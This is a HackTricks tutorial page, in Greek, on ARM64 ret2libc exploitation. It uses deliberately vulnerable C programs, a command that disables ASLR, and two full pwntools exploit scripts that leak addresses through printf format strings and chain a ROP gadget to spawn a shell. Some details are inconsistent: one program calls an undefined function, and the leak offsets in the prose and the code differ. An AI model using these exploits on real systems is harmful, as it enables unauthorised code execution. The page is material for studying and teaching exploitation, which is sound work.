Ret2lib + Printf leak - ARM64

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ret2lib - Παράκαμψη NX με ROP (χωρίς ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Μεταγλώττιση χωρίς canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Εύρεση offset - x30 offset

Δημιουργώντας ένα pattern με pattern create 200, χρησιμοποιώντας το, και ελέγχοντας για το offset με pattern search $x30, μπορούμε να δούμε ότι το offset είναι 108 (0x6c).

Ρίχνοντας μια ματιά στην αποσυναρμολογημένη συνάρτηση main, βλέπουμε ότι θα θέλαμε να μεταπηδήσουμε στην εντολή που καλεί απευθείας την printf, της οποίας το offset από το σημείο όπου φορτώνεται το binary είναι 0x860:

Εύρεση system και /bin/sh συμβολοσειράς

Δεδομένου ότι το ASLR είναι απενεργοποιημένο, οι διευθύνσεις θα είναι πάντα οι ίδιες:

Εύρεση Gadgets

Πρέπει να έχουμε στον x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε την system.

Χρησιμοποιώντας το rooper βρέθηκε ένα ενδιαφέρον gadget:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Αυτό το gadget θα φορτώσει το x0 από $sp + 0x18 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα κάνει άλμα στο x30. Έτσι, με αυτό το gadget μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να μεταβούμε στο system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass με printf leaks από το stack

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Μεταγλωττίστε without canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE και ASLR αλλά χωρίς canary

  • Γύρος 1:
  • Leak του PIE από το stack
  • Καταχρήση του bof για επιστροφή στη main
  • Γύρος 2:
  • Leak της libc από το stack
  • ROP: ret2system

Printf leaks

Βάζοντας ένα breakpoint πριν την κλήση της printf, είναι δυνατόν να δει κανείς ότι υπάρχουν διευθύνσεις για επιστροφή στο binary στο stack και επίσης διευθύνσεις της libc:

Δοκιμάζοντας διαφορετικά offsets, το %21$p μπορεί να leak μια διεύθυνση του binary (PIE bypass) και το %25$p μπορεί να leak μια διεύθυνση της libc:

Αφαιρώντας τη libc leaked διεύθυνση από τη base address της libc, είναι δυνατόν να δει κανείς ότι το offset της leaked address από τη base είναι 0x49c40.

x30 offset

Δείτε το προηγούμενο παράδειγμα καθώς το bof είναι το ίδιο.

Εύρεση Gadgets

Όπως στο προηγούμενο παράδειγμα, πρέπει να έχουμε στο x0 τη διεύθυνση της συμβολοσειράς /bin/sh και να καλέσουμε το system.

Χρησιμοποιώντας το rooper βρέθηκε ένα ακόμη ενδιαφέρον gadget:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Αυτό το gadget θα φορτώσει το x0 από $sp + 0x78 και στη συνέχεια θα φορτώσει τις διευθύνσεις x29 και x30 από το sp και θα κάνει jump στο x30. Έτσι με αυτό το gadget μπορούμε να ελέγξουμε το πρώτο όρισμα και στη συνέχεια να κάνουμε jump στο system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks